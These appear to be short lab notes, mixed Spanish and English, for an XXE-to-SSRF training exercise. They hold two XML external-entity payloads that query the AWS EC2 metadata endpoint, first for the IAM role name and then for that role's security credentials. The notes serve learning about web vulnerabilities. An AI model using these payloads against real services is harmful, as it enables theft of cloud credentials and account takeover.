2 - Exploiting XXE to perform SSRF attacks

Para acceder al server's IAM secret access key from the EC2 metadata :

http://169.254.169.254/latest/meta-data/iam/security-credentials

Ver el nombre del rol asignado IAM Role (rol de AWS IAM) que está vinculado a una instancia EC2. Este rol define qué permisos tiene esa instancia para interactuar con otros servicios de AWS :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials">]>
<stockCheck>
	<productId>&test;</productId>
	<storeId>1</storeId>
</stockCheck>
"Invalid product ID: admin"

Obtener las creds del rol :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
	<productId>&test;</productId>
	<storeId>1</storeId>
</stockCheck>